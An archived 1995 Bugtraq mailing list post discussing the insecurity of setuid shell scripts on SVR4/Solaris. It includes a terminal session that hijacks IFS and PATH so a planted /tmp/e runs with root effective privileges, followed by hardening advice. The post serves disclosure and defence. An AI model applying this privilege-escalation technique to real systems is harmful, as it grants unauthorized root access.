Bugtraq mailing list archives

Re: SUID shell scripts, questions?


From: peter () haywire DIALix COM (Peter Wemm)
Date: Sat, 11 Feb 1995 17:36:52 +0800 (WST)


On Fri, 10 Feb 1995, David A. Wagner wrote:
SUID shell scripts are traditionally insecure in unix environments. [...]
Also from my understanding, at least one Unix has solved this problem
by making a /dev/fd filesystem, [...]


Using the /dev/fd fs would remove the race condition, but the race
isn't the only problem with setuid shell scripts.

Unless the shell script writer is *very* careful (is it possible to
be careful enough?), one can play around with PATH or IFS.  If the
script calls any non-statically linked executables, I think one can
play around with LD_* variables on Suns.

I had a quick play around on a SVR4 system with a /dev/fd filesystem.
This is what I found: (this is slightly edited to hide my bad typing.. :-)

peter@haywire[5:13pm]/tmp-100> l /tmp/suidsh
-rwsr-sr-x   1 root     root          38 Feb 11 17:13 /tmp/suidsh

peter@haywire[5:13pm]/tmp-101> cat /tmp/suidsh
#! /bin/sh -p
echo "IFS=$IFS"
/bin/id

peter@haywire[5:13pm]/tmp-102> /tmp/suidsh
IFS=    

uid=433(peter) gid=304(user) euid=0(root) egid=0(root)


OK. It works.  the "-p" is a flag to "sh" to make it not surrender
it's suid'ness.  Normally, it does a setuid(getuid()); on startup if
it's setuid.

Now, to try and subvert it...

peter@haywire[5:13pm]/tmp-103> setenv IFS c

peter@haywire[5:14pm]/tmp-104> /tmp/suidsh
/dev/fd/3: e: not found
uid=433(peter) gid=304(user) euid=0(root) egid=0(root)

Whoa!  It's trying to run "e" on our path!  So lets give it one!

peter@haywire[5:14pm]/tmp-105> set path=(/tmp $path)

peter@haywire[5:15pm]/tmp-106> l /tmp/e
-rwxr-xr-x   1 peter    user          47 Feb 11 17:15 /tmp/e

peter@haywire[5:16pm]/tmp-112> cat /tmp/e
#! /bin/sh -p
IFS="   "
echo "Security alert!!!!: `/bin/id`

peter@haywire[5:16pm]/tmp-114> /tmp/suidsh
Security alert!!!!: uid=433(peter) gid=304(user) euid=0(root) egid=0(root)

uid=433(peter) gid=304(user) euid=0(root) egid=0(root)

And sure enough.  It gives away the ball game.  It ran /tmp/e with
it's superuser euid's.

If we make a mod to the /tmp/suidsh script lets see what happens:

peter@haywire[5:17pm]/tmp-115> cat /tmp/suidsh
#! /bin/sh -p
IFS="    
"
echo "IFS=$IFS"
/bin/id

peter@haywire[5:17pm]/tmp-116> /tmp/suidsh
IFS=     

uid=433(peter) gid=304(user) euid=0(root) egid=0(root)

OK. So that works.. IFS can be reset, but what about setting IFS to
disturb the resetting of IFS itself?

peter@haywire[5:17pm]/tmp-117> setenv IFS F

peter@haywire[5:17pm]/tmp-118> /tmp/suidsh
IFS=     

uid=433(peter) gid=304(user) euid=0(root) egid=0(root)

Hmm.  Does this actually work? Or was I just lucky?

Perhaps it's possible that somebody might have done the right thing
and made IFS assignments themselves immune to the previous IFS
settings?

Hmmmm..  Methinks if you have any suid shell scripts on a SVR4 or
Solaris machine, you'd better make sure that you reset IFS on the very
first line.

Also, the LD_* variables wouldn't hurt too, but they should be OK, as
the loader code ignores them if it's currently running suid.   The
shell should be immune to them, and probably all the processes spawned
would be immune to them too, but there might be one that doesn't.

Are there any _other_ ways of breaking a setuid shell script on a
SVR4/Solaris system that hasn't been carefully written?

If the writer has been careful and makes sure all interesting
variables have known values, LD_* is reset, PATH is reset, IFS is
reset on the first line, is there anything else left?

(Oh, I've seen somewhere, that somebody used: "#! /bin/sh -p -"  Does
anybody know the significance of the "-"?)

-Peter



Current thread: